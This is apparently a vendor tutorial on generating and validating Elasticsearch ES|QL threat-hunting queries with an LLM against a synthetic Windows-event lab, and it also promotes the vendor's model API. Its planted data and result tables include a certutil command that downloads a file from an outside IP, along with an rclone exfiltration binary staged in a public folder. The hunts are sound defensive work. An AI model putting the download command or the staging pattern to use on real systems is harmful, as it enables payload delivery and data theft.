You can generate Elasticsearch ES|QL with an LLM in seconds, and the draft usually reads well: a FROM, a WHERE, a STATS ... BY, a threshold. Elastic's piped query language is new enough that models mix it with SQL, KQL, Lucene and SPL, and the result is a hunt query that either fails to parse or, worse, runs cleanly and returns nothing. In a hunt, an empty table looks exactly like a quiet network. An LLM ES|QL hunt is a draft until it returns the activity you planted.
This guide runs that loop on a local Elasticsearch 9.5.7 cluster with 1,218 synthetic Windows-style security events and four planted attacks. Every error and every result table below is real output from that cluster, captured through the _query REST API, Elastic's programmatic interface for ES|QL. Kibana Discover and Dev Tools are the interactive way to run the same queries; we didn't run Kibana in this lab. The drafts were written for this guide to reproduce mistakes models commonly make in ES|QL. They are not a captured model transcript, and no model was called in the lab.
If your team hunts in Microsoft Sentinel, our guide to KQL hunting queries with an LLM covers Kusto, and the Splunk SPL guide covers SPL. This post is only about ES|QL.
Authorized, defensive work only. Write and test hunts on a cluster and data you own or are explicitly allowed to work with. Keep real hostnames, usernames and IP addresses out of prompts unless you are cleared to share them; see what to send the model.
Why generate Elasticsearch ES|QL with an LLM
ES|QL (often typed ESQL in searches and tickets) is a pipeline. FROM picks the index or data stream, and each | hands a table to the next processing command: WHERE, EVAL, STATS, KEEP, SORT, LOOKUP JOIN and so on, per the ES|QL reference. That shape is easy for a model to imitate. The details are where it slips, and they fail in three ways:
- Syntax or functions that don't exist.
=for comparison, SQL's%wildcard, a function name borrowed from another language. Elasticsearch rejects most of these with a line and column, which is the good case. - Queries that are valid and match nothing. A case-sensitive comparison, a wildcard ES|QL doesn't treat as a wildcard, a relative time window on older data. No error, no warning about the filter, zero rows.
- Logic that answers a different question. The query returns rows, and they're the wrong ones for the attack you were hunting.
The model is good at the tedious parts: turning "sources that failed against many accounts" into COUNT_DISTINCT, writing DATE_DIFF, laying out STATS ... WHERE filters. Only your cluster knows your field names, their types and what the data really looks like. So the loop matters more than the prompt.
The lab: Elasticsearch 9.5 and 1,218 synthetic events
We downloaded the official Elasticsearch 9.5.7 Linux tarball from elastic.co, checked it against Elastic's published SHA-512 (sha512sum -c printed OK), and ran it as a single node bound to 127.0.0.1 with security on and HTTP TLS off, which is only reasonable for a loopback lab. The archive install guide covers the rest. The key settings in elasticsearch.yml:
network.host: 127.0.0.1
discovery.type: single-node
xpack.security.enabled: true
xpack.security.http.ssl.enabled: false
The data is one index, lab-winsec, shaped like Windows Security events mapped to Elastic Common Schema names: 4624 successful logons, 4625 failed logons and 4688 process creation, with event.code, event.outcome, user.name, source.ip, host.name, process.name, process.executable and process.parent.name. As in ECS, event.code is a keyword and source.ip is an ip. A Python script generated it with a fixed seed, using RFC 5737 documentation addresses for anything external, and loaded it with the _bulk API.
We planted four things to find, all on August 31, 2026 (UTC):
| Planted activity | Ground truth |
|---|---|
| Password spray | 203.0.113.45 fails once each against 25 accounts in under 8 minutes |
| Brute force, then success | 198.51.100.7 fails 30 times against svc-backup, then logs on |
| Download with a living-off-the-land binary | certutil.exe -urlcache launched by PowerShell on WS-114, logged as CertUtil.exe |
| Exfil tool from a public folder | C:\Users\Public\rclone.exe launched by PowerShell on WS-114 |
Everything else is noise: 400 normal logons, 60 scattered typo failures from internal addresses, and 700 routine process launches. A first sanity query confirms the counts:
FROM lab-winsec
| STATS events = COUNT(*) BY event.code
| SORT event.code
events | event.code
---------------+---------------
401 |4624
115 |4625
702 |4688
Step 1: Give the model your real columns and types
Most bad ES|QL starts with a guessed field name or a guessed type. FROM <index> | LIMIT 0 returns the column list with no rows, and the JSON response from _query includes each column's type:
curl -s -u elastic:"$ES_LAB_PASSWORD" -X POST "http://127.0.0.1:9200/_query" \
-H 'Content-Type: application/json' -d '{"query": "FROM lab-winsec | LIMIT 0"}'
Reduced to name and type, that gave:
@timestamp date
event.category keyword
event.code keyword
event.outcome keyword
event.provider keyword
host.name keyword
message text
process.command_line keyword
process.executable keyword
process.name keyword
process.parent.executable keyword
process.parent.name keyword
source.ip ip
user.name keyword
winlog.logon.type keyword
Paste that into the prompt with the index name. It contains no event data, and the types matter: the first mistake below is a type mistake. (process.command_line is mapped as wildcard in this index; ES|QL reports it as keyword.)
Step 2: Let Elasticsearch reject the draft
Here are drafts of a "sources failing against many accounts" hunt, each with a mistake models make in ES|QL. Every one came back HTTP 400 before touching data. Elasticsearch splits these into two kinds of error, and both are useful to feed back to the model. Each error below shows the type and reason fields from the JSON error body.
Parse errors come from the grammar. SQL habits produce them:
FROM lab-winsec
| WHERE event.code = 4625
| STATS failures = COUNT(*) BY source.ip
parsing_exception: line 2:20: mismatched input '=' expecting {<EOF>, '|', 'and', '::', '.', 'or', '+', '-', '*', '/', '%'}
Comparison in ES|QL is ==; a single = only assigns, as in failures = COUNT(*). KQL habits fail the same way:
FROM lab-winsec
| WHERE event.code:4625 and user.name:svc*
parsing_exception: line 2:39: mismatched input 'svc' expecting {QUOTED_STRING, INTEGER_LITERAL, DECIMAL_LITERAL, 'false', 'null', '?', 'true', '+', '-', NAMED_OR_POSITIONAL_PARAM, '['}
ES|QL does have a : match operator, which is likely why the parser accepted the colon and stopped at svc. More on that trap in Step 3.
One parse error surprised us. This aggregation looks fine and isn't:
| STATS failures = COUNT(*), users = COUNT_DISTINCT(user.name),
first = MIN(@timestamp), last = MAX(@timestamp) BY source.ip
parsing_exception: line 5:15: no viable alternative at input 'first ='
FIRST and LAST are on the reserved keywords list (they're used for NULLS FIRST and NULLS LAST in SORT). Wrapping first in backticks moved the error to last =. Rename them, for example first_seen and last_seen, or backtick both.
Verification errors come after parsing, when Elasticsearch checks names and types against the index:
FROM lab-winsec
| WHERE event.code == 4625
| STATS failures = COUNT(*) BY source.ip
verification_exception: Found 1 problem
line 2:9: first argument of [event.code == 4625] is [keyword] so second argument must also be [keyword] but was [integer]
Models usually write event.code == 4625, because Windows event IDs are numbers. In ECS, event.code is a keyword, so it's event.code == "4625". Two more:
| STATS failures = COUNT(*), users = DISTINCT_COUNT(user.name) BY source.ip
verification_exception: Found 1 problem
line 3:38: Unknown function [DISTINCT_COUNT], did you mean [date_unit_count]?
The function is COUNT_DISTINCT, and the "did you mean" suggestion is no help here.
FROM lab-winsec
| WHERE event.code == "4625"
| STATS COUNT(*) BY source.ip
| WHERE COUNT_DISTINCT(user.name) >= 10
verification_exception: Found 1 problem
line 4:24: Unknown column [user.name]
After STATS, only the aggregates and the BY columns exist. Compute the distinct count inside STATS, name it, and filter on the name.
You don't need a special validation endpoint. POST the draft to _query against a lab index: HTTP 400 with parsing_exception or verification_exception and a line and column is your first gate.
Step 3: ES|QL hunts that run and return nothing
These drafts parsed, verified and returned HTTP 200 with an empty table on data that contains what they're looking for.
SQL's % wildcard in LIKE.
FROM lab-winsec
| WHERE event.code == "4625" AND user.name LIKE "svc-%"
| STATS failures = COUNT(*) BY user.name
failures | user.name
---------------+---------------
ES|QL's LIKE uses * for any run of characters and ? for one character. % is a literal percent sign, and nobody's username contains one. With "svc-*" the same query returned 30 | svc-backup.
Case-sensitive equality.
FROM lab-winsec
| WHERE event.code == "4688" AND process.name == "certutil.exe"
| KEEP @timestamp, host.name, user.name, process.name, process.command_line
Zero rows. Windows file names aren't case-sensitive, but the logged value is whatever was launched, and here it's CertUtil.exe. == on a keyword is exact. Normalize with TO_LOWER:
FROM lab-winsec
| WHERE event.code == "4688" AND TO_LOWER(process.name) == "certutil.exe"
| KEEP @timestamp, host.name, user.name, process.name, process.command_line
@timestamp | host.name | user.name | process.name | process.command_line
------------------------+---------------+---------------+---------------+---------------------------------------------------------------------------------
2026-08-31T14:02:11.000Z|WS-114 |dina |CertUtil.exe |CertUtil.exe -urlcache -split -f http://198.51.100.23/p.txt C:\Users\Public\p.txt
The docs note that LIKE and RLIKE are case-sensitive too, even on text fields.
KQL-style match on a keyword. The : operator is real ES|QL, so this one doesn't fail:
FROM lab-winsec
| WHERE event.code == "4625" AND user.name:"svc*"
| STATS failures = COUNT(*) BY user.name
Zero rows. On this keyword column, : behaved as an exact match; the * was not a wildcard. user.name:"svc-backup" returned the 30 failures. For a prefix, use LIKE "svc-*".
A relative time window on older data.
FROM lab-winsec
| WHERE event.code == "4625" AND @timestamp > NOW() - 24 hours
| STATS failures = COUNT(*) BY source.ip
Zero rows, correctly: NOW() is the moment the query runs, and the lab data is from August 31. Use absolute bounds when you validate on a fixed dataset, and switch to relative ones when you schedule the hunt. ISO 8601 strings are implicitly cast to dates, so @timestamp >= "2026-08-31T00:00:00Z" works. A Splunk-style "08/31/2026:00:00:00" does not; it failed verification with Cannot convert string [08/31/2026:00:00:00] to [DATETIME].
Windows paths. Two drafts failed to parse, and both are worth knowing:
| WHERE process.executable LIKE "C:\Users\Public\*"
parsing_exception: line 2:33: token recognition error at: '"C:\U'
| WHERE process.executable LIKE "C:\\Users\\Public\\*"
parsing_exception: line 2:9: Invalid pattern for LIKE [C:\Users\Public\*]: [Invalid sequence - escape character is not followed by special wildcard char]
There are two layers of escaping. In a normal string, \\ becomes one backslash, and in a LIKE pattern that backslash is the escape character. The LIKE docs suggest triple-quoted strings, where \\ means one literal backslash in the pattern:
FROM lab-winsec
| WHERE process.executable LIKE """C:\\Users\\Public\\*"""
| KEEP @timestamp, host.name, process.executable, process.parent.name
@timestamp | host.name | process.executable |process.parent.name
------------------------+---------------+--------------------------+-------------------
2026-08-31T14:04:37.000Z|WS-114 |C:\Users\Public\rclone.exe|powershell.exe
If you send the query inside JSON with curl, JSON escaping adds a third layer. Generating the request body with a JSON library, as in the validator below, avoids that.
The silent 1,000-row cap. This one returns rows, just not all of them:
FROM lab-winsec
| KEEP @timestamp, event.code, source.ip, user.name
It returned exactly 1,000 of the 1,218 events. Per the ES|QL limitations page, a query without LIMIT returns up to 1,000 rows, and no query returns more than 10,000 by default. The only notice was an HTTP response header, Warning: 299 ... "No limit defined, adding default limit of [1000]", which appeared on every query in this lab that had no LIMIT and got past the parser, including the STATS queries that returned one row. If an agent pulls raw rows and reasons over them, it's reasoning over a truncated sample. Aggregate in ES|QL with STATS instead; the cap applies to output rows, not to the documents processed.
Step 4: Fix the logic against planted answers
With the syntax right, this draft runs and returns a row:
FROM lab-winsec
| WHERE event.code == "4625"
| STATS failures = COUNT(*) BY source.ip, user.name
| WHERE failures > 10
failures | source.ip | user.name
---------------+---------------+---------------
30 |198.51.100.7 |svc-backup
It found the brute force and missed the password spray, because a spray tries each account once or twice. Counting failures per source and user is a brute-force detector. That's what a model writes when the prompt says "find password attacks," and it's why you plant both patterns. For spraying (MITRE ATT&CK T1110.003), count distinct accounts per source:
FROM lab-winsec
| WHERE event.code == "4625"
AND @timestamp >= "2026-08-31T00:00:00Z" AND @timestamp < "2026-09-01T00:00:00Z"
| STATS failures = COUNT(*), users = COUNT_DISTINCT(user.name),
first_seen = MIN(@timestamp), last_seen = MAX(@timestamp) BY source.ip
| WHERE users >= 10
| EVAL minutes = DATE_DIFF("minute", first_seen, last_seen)
| KEEP source.ip, failures, users, minutes
source.ip | failures | users | minutes
---------------+---------------+---------------+---------------
203.0.113.45 |25 |25 |7
The spray ran for 7 minutes 36 seconds; DATE_DIFF reported 7 whole minutes. The docs also describe COUNT_DISTINCT as approximate. It was exact at 25 here; keep that in mind before you treat it as an exact count on a large fleet.
Brute force followed by a successful logon
Failures followed by a success from the same source on the same account are worth a page (T1110.001). STATS takes a per-aggregation WHERE, so one pass counts both and also checks order:
FROM lab-winsec
| WHERE event.category == "authentication"
AND @timestamp >= "2026-08-31T00:00:00Z" AND @timestamp < "2026-09-01T00:00:00Z"
| STATS failures = COUNT(*) WHERE event.outcome == "failure",
successes = COUNT(*) WHERE event.outcome == "success",
last_fail = MAX(@timestamp) WHERE event.outcome == "failure",
first_success = MIN(@timestamp) WHERE event.outcome == "success"
BY source.ip, user.name
| WHERE failures >= 10 AND successes > 0 AND first_success > last_fail
| SORT failures DESC
failures | successes | last_fail | first_success | source.ip | user.name
---------------+---------------+------------------------+------------------------+---------------+---------------
30 |1 |2026-08-31T03:05:29.000Z|2026-08-31T03:05:40.000Z|198.51.100.7 |svc-backup
The first_success > last_fail test is strict: a success in the middle of a run of failures won't match. Decide whether that's what you want, and plant a case that tests it.
Rare processes with STATS and VALUES
For rare binaries, group by executable, count the hosts, and keep the parents so the analyst has context:
FROM lab-winsec
| WHERE event.code == "4688"
| STATS runs = COUNT(*), hosts = COUNT_DISTINCT(host.name),
seen_on = VALUES(host.name), parents = VALUES(process.parent.name) BY process.executable
| WHERE hosts <= 2
| SORT runs ASC
runs | hosts | seen_on | parents | process.executable
---------------+---------------+---------------+---------------+--------------------------------
1 |1 |WS-114 |powershell.exe |C:\Windows\System32\certutil.exe
1 |1 |WS-114 |powershell.exe |C:\Users\Public\rclone.exe
Two rows, same host, same parent. certutil is a common download tool (T1105) and rclone a common exfiltration tool (T1567.002). Grouping on process.executable rather than process.name also sidesteps the CertUtil.exe casing. That's a lead, not a verdict: pull the command lines and check whether IT installed rclone on purpose.
Enrich an Elastic hunt query with LOOKUP JOIN
LOOKUP JOIN adds columns from a lookup index, which must be created with index.mode: lookup. We created lab-threat-intel with two indicators keyed on indicator.ip. The obvious draft:
FROM lab-winsec
| WHERE event.code == "4625"
| LOOKUP JOIN lab-threat-intel ON source.ip
| WHERE threat.label IS NOT NULL
| STATS failures = COUNT(*) BY source.ip, threat.label
verification_exception: Found 1 problem
line 3:35: Unknown column [source.ip] in right side of join
With the single-field form, the join field needs the same name on both sides. Copy it with EVAL:
FROM lab-winsec
| WHERE event.code == "4625"
| EVAL indicator.ip = source.ip
| LOOKUP JOIN lab-threat-intel ON indicator.ip
| WHERE threat.label IS NOT NULL
| STATS failures = COUNT(*), users = COUNT_DISTINCT(user.name) BY source.ip, threat.label, threat.confidence
failures | users | source.ip | threat.label |threat.confidence
---------------+---------------+---------------+-----------------------+-----------------
25 |25 |203.0.113.45 |lab: known spray source|high
The docs also list an expression form (ON <left_field> == <lookup_field>), marked Preview since 9.2. Models will reach for it; the EVAL copy works without relying on a preview feature.
Automate the loop: draft, run, compare
The loop is short: the model drafts, Elasticsearch judges, and the exact output goes back. This is the checker we ran in the lab. Point it only at a lab or test cluster.
# check_esql.py
import os, requests
ES = "http://127.0.0.1:9200"
AUTH = ("elastic", os.environ["ES_LAB_PASSWORD"])
def check(esql, limit=1000):
r = requests.post(f"{ES}/_query", auth=AUTH, json={"query": esql})
warnings = r.headers.get("Warning", "")
if r.status_code != 200:
err = r.json()["error"]
return {"stage": err["type"], "error": err["reason"], "warnings": warnings}
body = r.json()
cols = [c["name"] for c in body["columns"]]
rows = [dict(zip(cols, v)) for v in body["values"]]
return {"stage": "run", "rows": len(rows), "truncated_at_limit": len(rows) >= limit,
"sample": rows[:20], "warnings": warnings}
On the lab it returned "stage": "parsing_exception" for the = draft, "stage": "verification_exception" with Unknown function [DISTINCT_COUNT] for the borrowed function, "rows": 0 for the LIKE "svc-%" draft, "rows": 1000, "truncated_at_limit": true for the raw-row pull, and one row, 203.0.113.45 with 25 users, for the fixed spray hunt.
The drafting side calls RedRouter's OpenAI-compatible endpoint. The base URL is https://redrouter.org/v1 and the key goes in a Bearer header, per the RedRouter quickstart. We didn't have an API key on the lab box, so this half is a sketch:
import json, os
from openai import OpenAI
from check_esql import check
client = OpenAI(base_url="https://redrouter.org/v1",
api_key=os.environ["REDROUTER_API_KEY"])
SYSTEM = ("You write Elasticsearch ES|QL (not SQL, not KQL, not SPL). Use only the columns listed, "
"with their types. Compare with ==. LIKE wildcards are * and ?. keyword equality is "
"case-sensitive. Filter on aggregates by naming them in STATS. Don't name columns first "
"or last. Use triple-quoted strings for Windows paths. Use absolute ISO 8601 times. "
"Return one query and nothing else.")
COLUMNS = "index lab-winsec columns: @timestamp date, event.code keyword, user.name keyword, source.ip ip, ..."
GOAL = "Find source IPs that failed logon (4625) against 10 or more distinct accounts on 2026-08-31 (UTC)."
EXPECT = {"203.0.113.45"} # planted answer
def draft(feedback=""):
r = client.chat.completions.create(
model="glm-5.3-flash-red", temperature=0,
messages=[{"role": "system", "content": SYSTEM},
{"role": "user", "content": f"{COLUMNS}\n\nGoal: {GOAL}\n\n{feedback}"}])
return r.choices[0].message.content.strip().strip("`")
esql = draft()
for _ in range(4):
result = check(esql)
found = {row.get("source.ip") for row in result.get("sample", [])}
if result["stage"] == "run" and found == EXPECT:
break
esql = draft(f"Your query:\n{esql}\n\nElasticsearch returned:\n{json.dumps(result)[:4000]}\n"
f"Expected exactly these IPs: {sorted(EXPECT)}. Fix it.")
print(esql)
The stop condition matters more than anything else in that code. "It parsed" and "it returned rows" are both too weak. The loop ends only when the hunt returns the planted answer and nothing else.
If your detections start as Sigma rules, convert them with pySigma's Elasticsearch backend, which lists ES|QL as a target, rather than asking a model to translate; our Sigma and YARA guide covers that workflow. For endpoint state rather than logs, see osquery queries with an LLM.
What to send the model
Hunting starts from production data, so be deliberate about prompts.
- Send the column names and types from
FROM <index> | LIMIT 0, the index or data stream name, and the goal in plain words. That's usually enough. - Send Elasticsearch's exact error text or row count back, including the
Warningheader, not your interpretation of it. - If the model needs sample events, send the shape with placeholder values or documentation ranges (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24), as in this lab. Don't paste real usernames, hostnames, internal IPs or command lines with secrets in them.
On RedRouter, Zero Data Retention is an opt-in setting and off by default. The data handling docs explain what's stored, how API-key content storage works, and how to turn ZDR on; what RedRouter keeps is the short version. Our security page covers how we handle security workloads.
Which model to use
For drafting ES|QL, we'd start with GLM 5.3 Flash Red (glm-5.3-flash-red). On docs.redrouter.org/models it lists at $0.25 per 1M input tokens, $0.13 per 1M cached input tokens and $1.00 per 1M output tokens, with a 1,048,576-token context window. A draft-and-fix round like the one above is a few thousand tokens. If the hunt is part of a broader authorized red-team or purple-team engagement, red-cyber-1 (Beta) lists at $0.28 / $0.13 / $1.10 per 1M. The models docs list current rates; plans are on /pricing.
Common LLM ES|QL mistakes
| Mistake in the draft | What Elasticsearch did in the lab | Fix |
|---|---|---|
WHERE event.code = 4625 | parsing_exception ... mismatched input '=' | == |
WHERE event.code == 4625 | verification_exception ... is [keyword] so second argument must also be [keyword] | event.code == "4625" |
DISTINCT_COUNT(user.name) | Unknown function [DISTINCT_COUNT] | COUNT_DISTINCT(user.name) |
WHERE COUNT_DISTINCT(user.name) >= 10 after STATS | Unknown column [user.name] | Name it in STATS, filter on the name |
first = MIN(...), last = MAX(...) | no viable alternative at input 'first =' | first_seen, last_seen |
user.name:svc* (KQL style) | parsing_exception | user.name LIKE "svc-*" |
LIKE "svc-%" | 0 rows | LIKE "svc-*" |
user.name:"svc*" | 0 rows | LIKE, or : with the exact value |
process.name == "certutil.exe" | 0 rows (logged as CertUtil.exe) | TO_LOWER(process.name) == "certutil.exe" |
@timestamp > NOW() - 24 hours on older data | 0 rows | Absolute ISO 8601 bounds for validation |
LIKE "C:\\Users\\Public\\*" | Invalid pattern for LIKE | LIKE """C:\\Users\\Public\\*""" |
Raw rows with no LIMIT | 1,000 of 1,218 rows, header warning only | STATS in the query, or an explicit LIMIT |
STATS ... BY source.ip, user.name for spraying | Found the brute force, missed the spray | COUNT_DISTINCT(user.name) per source |
LOOKUP JOIN ... ON source.ip | Unknown column [source.ip] in right side of join | EVAL indicator.ip = source.ip, join on that |
Validation checklist
- The draft uses only columns from
FROM <index> | LIMIT 0, with the right types. _queryreturns HTTP 200 on a lab index.- The hunt has explicit time bounds. Absolute for testing, relative for scheduling.
- It returns every planted true positive, and you checked the exact values, not just "rows > 0."
- It stays quiet on at least one planted look-alike (here, the brute force for the spray hunt and vice versa).
- String comparisons account for case, and
LIKEpatterns use*and?. - The
Warningheader doesn't say the default limit truncated rows you needed. - Before saving it as a rule or scheduled search, run it over a normal week and count the results.
FAQ
Can an LLM generate Elasticsearch ES|QL that works the first time?
Sometimes, but plan on testing it. In this lab, ten of the drafts failed to parse or verify, four ran and returned nothing, one silently returned 1,000 of 1,218 rows, and one returned a correct-looking row while missing half of what it was meant to find. Each fix was quick once Elasticsearch showed the output. Treat the model as a fast drafter and your lab cluster as the judge.
How do I check an LLM ES|QL query before I trust it?
POST it to the _query API on a test cluster or paste it into Kibana Discover against a lab index. Unknown syntax returns parsing_exception with a line and column; unknown functions, columns and type mismatches return verification_exception. Neither tells you whether the logic is right. Only running it on data with known answers does.
Why does my AI-written ES|QL hunt return no results?
Usually one of four things: a case-sensitive == on a keyword, SQL's % in LIKE where ES|QL wants *, a : match with a wildcard on a keyword column, or a NOW()-relative window that doesn't cover the data. Elasticsearch doesn't warn about any of them.
Is ES|QL the same as KQL in Kibana?
No. Kibana Query Language (KQL) is Kibana's filter-bar syntax, and Kusto Query Language (also KQL) is Microsoft's. ES|QL is Elastic's piped query language with commands like FROM, WHERE, STATS and LOOKUP JOIN. Models mix all three, which produced two of the failures above.
Why did my ES|QL query return only 1,000 rows?
ES|QL adds LIMIT 1000 when a query has none, and caps output at 10,000 rows by default. The only notice is a Warning response header. Aggregate with STATS in the query, or add an explicit LIMIT if you really need raw rows.
How do I match Windows paths in ES|QL?
Use triple-quoted strings. In LIKE """C:\\Users\\Public\\*""", each \\ is one literal backslash and * is the wildcard. In a normal double-quoted string, "C:\Users" fails to parse and "C:\\Users\\*" fails as an invalid LIKE pattern.
Is it safe to paste Elastic data into an LLM prompt?
Send column names, types, the goal and Elasticsearch's error text, not raw events. If the model needs examples, use placeholder values and documentation IP ranges. On RedRouter, Zero Data Retention is opt-in and off by default; see the data handling docs.
Related guides
- Generate KQL hunting queries with an LLM
- Generate Splunk SPL searches with an LLM
- Generate Sigma and YARA rules with an LLM
- Generate osquery queries with an LLM
Sources
- Elastic ES|QL reference: overview, syntax and reserved keywords, operators (LIKE, RLIKE, match), STATS, LOOKUP JOIN, aggregation functions, string functions, date-time functions, implicit casting, limitations.
- Elastic docs: Use ES|QL in Kibana, install Elasticsearch from archive, ECS event fields.
- SigmaHQ: pySigma Elasticsearch backend.
- MITRE ATT&CK: T1110.001, T1110.003, T1105, T1567.002.
- IETF: RFC 5737, IPv4 address blocks reserved for documentation.
- RedRouter Docs: Quickstart, Models and pricing, Data handling.
- Tool outputs: Elasticsearch 9.5.7 (tar, build d16690c781d9) on Linux, bound to localhost,
_queryREST API, on a synthetic 1,218-event dataset.